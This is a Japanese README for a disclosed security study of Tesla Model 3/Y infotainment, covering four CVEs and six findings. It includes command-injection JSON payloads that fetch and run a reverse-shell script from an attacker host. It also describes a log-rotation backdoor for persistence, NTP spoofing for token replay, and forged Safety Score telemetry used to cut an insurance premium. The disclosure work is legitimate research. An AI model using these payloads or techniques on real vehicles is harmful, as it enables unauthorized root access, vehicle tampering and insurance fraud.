
Tesla Model 3/Y インフォテイメントシステムの脆弱性調査。6件の脆弱性、4件のCVE(CVE-2022-42005 から CVE-2022-42008)。ルートシェル、永続的アクセス、保険テレメトリーのスプーフィング。
Tesla Model 3/Y インフォテインメントシステム(Intel Atom MCU、Linux 4.14.235)の脆弱性調査。Bugcrowd を通じて Tesla に責任を持って開示されました。
Tesla の ODIN 診断インターフェースのコマンドインジェクション脆弱性 (CVE-2022-42008) を利用して、量産型 Tesla Model 3 で永続的な root アクセスを取得しました。そこから、ファームウェア更新後も持続する永続化手法 (CVE-2022-42005, CVE-2022-42006) や、月額保険料を130ドルから83ドルに直接引き下げた Safety Score 保険テレメトリのなりすまし方法など、さらに5つの脆弱性を発見しました。
ODIN、hermes、Safety Score にわたる6つの脆弱性。4件の CVE。Bugcrowd を通じて報奨金を受け取り、Tesla の SSH セキュリティ研究者プログラムに登録されました。
| 発見内容 | CVE | 影響 | 状態 | 報酬 |
|---|---|---|---|---|
| ODIN を介したルートシェル | CVE-2022-42008 | コマンドインジェクションによるルートシェル | 修正済み (2021.32.10) | Bugcrowd 報奨金 |
| 期限切れ ODIN トークン | CVE-2022-42007 | NTP スプーフィングによるトークンリプレイ | 修正済み (2021.32.10) | Bugcrowd 報奨金 |
| Mothership へのアップロード | — | Tesla サーバーへの任意ファイルアップロード | N/A とマーク | — |
| ログバックシェル + DV アクセス | CVE-2022-42005, CVE-2022-42006 | ファームウェア更新後も持続するアクセス | 修正済み | Bugcrowd 報奨金 |
| 保険テレメトリのなりすまし | — | なりすました Safety Score による保険料引き下げ | 修正未確認 | — |
| ODIN の融合解除 | — | 認証なしで任意の ODIN タスク | 修正未確認 | — |
The Tesla Model 3/Y infotainment system (Intel Atom MCU) runs a Linux-based OS with several attack surfaces identified during this research:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
完全なレポート: ODIN を介したルートシェル | ログバックシェル + DV アクセス
ODIN 診断インターフェースは TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK というタスクを公開しており、MicTest-Input パラメータ(文字列のリスト)を受け取り、それがそのまま CID_EXEC に渡されて root として実行されます。最低の Toolbox アクセスレベル(tbx-external)を持つ加入者であれば、車両の診断ポートに接続して POST リクエストを送信することでこのタスクをトリガーできます。入力文字列はそのまま実行されるため、攻撃は2つのリクエストで完了します。まず、curl を使ってリバースシェルスクリプトを車両にダウンロードします:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
次にそれを実行します:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
ルートシェルが確立されると、svlogd のログローテーション設定をハイジャックすることで永続的なアクセスが実現されます。標準の gzip 圧縮コマンドが、ログがローテーションされるたびに log アカウントでバックシェルを開くスクリプトに置き換えられます:
!sh /var/log/wpa_supplicant/gzip.sh -c
設定ファイルは chattr +i で不変にされ、ファームウェア更新後も保持されます。log アカウントは標準の sdv コマンドを使用してデータ値を設定できませんが(dbus が拒否する)、Tesla の休止状態にある prototype_server は、settings.conf で有効にするとすべてのデータ値への無制限の websocket アクセスを提供します。カスタムのシェルスクリプト群(sdv, lv, send.sh)は、このサーバーとやり取りするための websocket クライアントをエミュレートします。
完全な永続化ツールキットは、車両のアクセスコード入力ボックス(タッチスクリーンで車両モデルを長押しすると表示される)を介して制御されます。この入力ボックスは リスナースクリプト によって監視され、バックシェルのオープン、データ値の設定、サービスモードの切り替えなどのコマンドをディスパッチします。
Tesla の ODIN トークン生成エンドポイントは期限切れの tbx-tokens を受け入れ、さらに重要なことに、応答にユーザーの tbx-token も返すため、共有によるトークンの漏洩が可能になります。通常、期限切れの ODIN トークンは車両によって拒否されますが、ARP ベースの傍受 (ntpspoof.py) を使用して車両の NTP タイムソースをスプーフィングすることで、車両は有効期限を過ぎたトークンを受け入れるように騙されます。ゲートウェイは NTP 改ざんを検出しますが (GTW_w149_rtcTimeSetInPast)、この信号に対してアクションは起こしません。
車両の証明書 /var/lib/car_creds/ を使用して、ローカルマシンで hermes_proxy サービスを起動し、Tesla の Mothership サーバーへの直接アクセスを提供します。プロファイルバックアップエンドポイント (/vehicles/${VIN}/computer_profile) は、検証なしで任意のファイルアップロードを受け入れます。単一の curl コマンドで任意のファイルを Tesla の本番インフラストラクチャにアップロードできます。Tesla はこの発見を N/A("意図された動作")とマークしました。
Tesla の Safety Score システムは、MCU から運転テレメトリを収集し、保険料計算のために Mothership にアップロードします。root アクセスがあれば、完全スコアのテレメトリサンプルをキャプチャし、その protobuf エンコードされた走行距離計の値を hex 編集(telemetry.proto のリバースエンジニアリングされたスキーマを使用)で水増しし、修正したサンプルを再アップロードできます。2つの偽造トリップが Mothership に受け入れられました。そのうちの1つは3.5時間で約2,700マイルを示しており、月額保険料を130ドルから83ドルに直接引き下げました。根本的な問題は、テレメトリが(強化された)APE3 オートパイロットユニットではなく、(ユーザーがアクセス可能な)MCU から発信されることです。Tesla はこの発見に対して報奨金を発行しませんでした。
root アクセスがあれば、偽の is-fused スクリプトを /usr/bin/is-fused にバインドマウントし、ODIN サービスを再起動すると、ODIN はユニットがファクトリー/開発モードであると認識します。この状態では、認証トークンなしで任意の ODIN タスクを実行できます。これには、車の警報を無効にするタスク (PROC_ICE_X_SET-DATA-VALUE)、VIN を消去するタスク (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID)、または潜在的に安全上重要な車両機能を作動させるタスクが含まれます。
この調査は責任あるセキュリティ研究の一環として行われ、Bugcrowd を介して Tesla のバグ報奨金プログラムに報告されました。CVE が割り当てられたすべての脆弱性は、現在のファームウェアバージョンで修正されています。このリポジトリは教育目的のみで公開されています。
この調査の結果、チームは Bugcrowd を通じて金銭的な報奨金を授与され、Tesla の SSH セキュリティ研究者プログラムに登録され、継続的な研究アクセスのための署名付き SSH 証明書を受け取りました。
研究は SourceHat Labs Inc. の代理として実施されました。
| ツール | 説明 |
|---|
| ntpspoof.py | ARP ベースの NTP スプーフィングにより期限切れ ODIN トークンを再生 (Python/scapy) |
| telemetry.proto | Tesla Safety Score テレメトリのリバースエンジニアリングされた protobuf スキーマ (34 フィールド) |
| listen.sh | アクセスコードボックスコマンドリスナー — タッチスクリーンを介した隠しコマンドインターフェース |
| sdv | prototype_server websocket を介したデータ値の設定 |
| lv | prototype_server websocket を介したデータ値の取得 |
| send.sh | prototype_server 通信のための Websocket フレーム構築 |